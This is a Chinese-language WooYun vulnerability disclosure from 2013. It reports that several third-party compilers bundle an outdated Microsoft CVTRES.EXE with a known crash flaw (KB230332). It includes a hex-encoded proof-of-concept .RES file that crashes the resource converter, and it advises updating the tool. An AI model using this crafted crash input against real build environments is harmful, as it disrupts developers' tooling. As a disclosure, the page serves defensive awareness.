当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046939

漏洞标题:很多编译器使用有漏洞的CVTRES.EXE(建议更新)

相关厂商:很多编译器共同问题

漏洞作者: 光刃

提交时间:2013-12-25 10:04

修复时间:2014-03-25 10:05

公开时间:2014-03-25 10:05

漏洞类型:设计错误/逻辑缺陷

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-25: 细节已通知厂商并且等待厂商处理中
2013-12-30: 厂商已经确认,细节仅向厂商公开
2014-01-02: 细节向第三方安全合作伙伴开放
2014-02-23: 细节向核心白帽子及相关领域专家公开
2014-03-05: 细节向普通白帽子公开
2014-03-15: 细节向实习白帽子公开
2014-03-25: 细节向公众公开

简要描述:

声明:此贴无什么技术含量。
CVTRES.EXE是微软的将资源文件转换成OBJ文件的程序,广大存在于各种第三方编译器中。早期的版本会造成程序崩溃(KB230332)。
微软公开的,技术性信息我就不写了http://support.microsoft.com/kb/230332.如今微软早已更新此程序,而很多第三方编译器
(如易语言 5.11,RADASM 2.2.1.9,MASMPLus 1.2 等等等等)仍然使用有此漏洞的老版本程序。
(我机器除了微软以外,只有这3个编译器了,中招率100%)

详细说明:

res.png

漏洞证明:

我自己构造的poc文件,把这些数据以16进制的形式保存*.RES,用相应资源编辑器打开就可以

0000000020000000FFFF0000FFFF0000000000000000000000000000000000004E14000020000000FFFF0400FFFF6500000000003010040800000000000000000000000010008765F64E280026004600290000000000459C310031003100310031003100310031003100310031003100310031003100310031003100310031003100320032003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300310031003100310033003300330033003300330033003300330033003300330033003300330031003100310031003300330033003300330033003300330033003300330033003300330033003100310031003100330033003300330033003300330033003300330033003300330033003300310031003100310033003300330033003300330033003300330033003300330033003300330031003100310031003300330033003300330033003300330033003300330033003300330033003100310031003100330033003300330033003300330033003300330033003300330033003300310031003100310033003300330033003300330033003300330033003300330033003300330031003100310031003300330033003300330033003300330033003300330033003300330033003100310031003100330033003300330033003300330033003300330033003300330033003300310031003100310033003300330033003300330033003300330033003300330033003300330031003100310031003300330033003300330033003300330033003300330033003300330033003100310031003100330033003300330033003300330033003300330033003300330033003300310031003100310033003300330033003300330033003300330033003300330033003300330031003100310031003300330033003300330033003300330033003300330033003300330033003100310031003100330033003300330033003300330033003300330033003300330033003300310031003100310033003300330033003300330033003300330033003300330033003300330031003100310031003300330033003300330033003300330033003300330033003300330033003100310031003100330033003300330033003300330033003300330033003300330033003300310031003100310033003300330033003300330033003300330033003300330033003300330031003100310031003300330033003300330033003300330033003300330033003300330033003100310031003100330033003300330033003300330033003300330033003300330033003300310031003100310033003300330033003300330033003300330033003300330033003300330031003100310031003300330033003300330033003300330033003300330033003300330033003100310031003100330033003300330033003300330033003300330033003300330033003300310031003100310033003300330033003300330033003300330033003300330033003300330031003100310031003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003300330033003300330033003300330033003300330033003300330034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003500350035003500350035003500350035003500350035003500350035003500350035003500350035003500350035003500350035003500350035003500350035003500350035003500350036003600360036003600360036003600360036003600360036003600360036003600360036003600360036003600360036003600360036003600360036003600360036003600360036003600360036003600360036003700370037003700370037003700370037003700370037003700370037003700370037003700370037003700370037003700370037003700370037003700370037003700370037003700370037003700370037003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800380038003800390039003900390039003900390039003900390039003900390039003900390039003900390039003900390039003900390039003900390039003900390039003900390039003900390039003900390039003900300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030007500750075007500750075007500750075007500750075007500750075007500750075007500750075007500750075007500750075007500750075007500750079007900790079007900790079007900790079003300330033003300330033003300330033003300330033003300330031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100313100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310000310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003200310032003200320032003200320031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310032003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310032003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003100310031003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003100310031003100310032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200320032003200330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330033003300330034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034340034003400340034003400340034003400340034003400340034003400340034003400340034003400340034007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700770077007700730073007300730073007300730073007300340034003400340034003400340034003400340034003400340034003400340000000000469C7351ED95280026004300290000000000000000008000419C0090FA512800260058002900000090002E5EA952280026004800290000008000489C73518E4E28002600410029002E002E002E0000000000C600000020000000FFFF0400FFFF6600000000003010040800000000000000000000000010008765F64E280026004600290000000000459CB065FA5E280026004E00290000000000469C7351ED95280026004300290000000000000000008000419C0090FA51280026005800290000001000977AE353280026005700290000000000429CCD91E053280026004300290000000000439C346C735E735EFA94280026004800290000008000449C8257F476735EFA942800260056002900000090002E5EA952280026004800290000008000489C73518E4E28002600410029002E002E002E00000000006805000020000000FFFF0300FFFF01000000000030100408000000000000000028000000100000002000000001000800000000004001000000000000000000000000000000000000FFFFFF00F0F0F000E8E8E800F8F8F80000000000E0E0E000606060006868680098989800B0B0B0007070700078787800808080008888880090909000A0A0A000A8A8A800B8B8B800C0C0C000D0B0700090702800B8985800E8C88800F8D090008060180098783000A0804000E8C08000F0D0900098803800A8884000C0A058006850000078581000B0904800C8A06000D8B8780080682000C8A86000E0B87800705000007860100088682000B0905000C8A86800E0C07800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040404040404040404040404040404040808080D0D0C0C0B0B0A0A070706060608000000000101010101010102020206080000000000010101010101020202060F0000000000010101010101010202070F000000000000010101010101020207090000000000000101010101010102070900000000000000010101010101010A0900000000000000010101010101010A0900000000000000000101010101010B1100000000000000000001010101010B1117171624132315221A19141818200C121717161B132615000400042500040C121717161B13131F151E1A141418280D1212111109090909090F0F080808080D04040404040404040404040404040404FFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFF0000A808000020000000FFFF0300FFFF02000000000030100408000000000000000028000000200000004000000001000800000000008004000000000000000000000000000000000000FFFFFF0000000000E0E0E00048484800585858008888880098989800383838006868680070707000A8A8A800B0B0B000404040005050500060606000787878008080800090909000A0A0A00030303000B8B8B8005030000068481800705020007858280080603000E0C08000F8D0900028282800D0B07000D8B87800E8C8880060401000A8885000B0905800F0D0900088683800907040005838000098784000A0804800B8986000C0A06800C8A870008868300090703800C0986000C8A0680098784800A0805000B0885000B8905800C0A06000C8A86800A078480090683800D0B07800D8B88000E8C08800F0C89000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010106060606060606060606060606060606060606060606060606060606060601010600000000000000000000000000000000000000000000000000000000060101060000000000000000000000000000000000000000000000000000000006010106000000000000000000000000000000000000000000000000000000000601010600000000000000000000000000000000000000000000000000000000060101060000000008080808080808080808080808080808080808080000000006010106000000000800000000000000000000000000000000000008000000000601010600000000080000000000000000000000000000000000000800000000060101060000000008000000000000000000000000000000000000080000000006010106000000000800000000000000000000000000000000000008000000000601010600000000080000000000000000000000000000000000000800000000060101060000000008000000000000000000000000000000000000080000000006010106000000000800000000000000000000000000000000000008000000000601010600000000080000000000000000000000000000000000000800000000060101060000000008000000000000000000000000000000000000080000000006010106000000000800000000000000000000000000000000000008000000000601010600000000081B1B1F1F1D1D1D1D1D1D290001000124000108000000000601010600000000081B1B1F1F1D1D1D1D1D1D2A29212125251816080000000006010106000000000808080808080808080808080808080808080808000000000601010600000000000000000000000000000000000000000000000000000000060101060000000000000000000000000000000000000000000000000000000006010106000000000000000000000000000000000000000000000000000000000601010600000000000000000000000000000000000000000000000000000000060101151515151515161616161718192425212122292A2A2A2A2A2A030303032A0101150A0A151515161616161718192425212122292A2A2A2A2A2A020302032A0101151515151515161616161718192527212122292A2A2A2A2A2A2A2A2A2A2A01010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101FFFFFFFFFFFFFFFFFFFFFFFF8000000180000001800000018000000180000001800000018000000180000001800000018000000180000001800000018000000180000001800000018000000180000001800000018000000180000001800000018000000180000001800000018000000180000001FFFFFFFFFFFFFFFFFFFFFFFF2200000020000000FFFF0E00FFFF64000000000030100408000000000000000000000100020010100000010008006805000001002020000001000800A808000002000000

修复方案:

用微软最新的CVTRES.EXE

版权声明:转载请注明来源 光刃@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-12-30 08:04

厂商回复:

最新状态:

暂无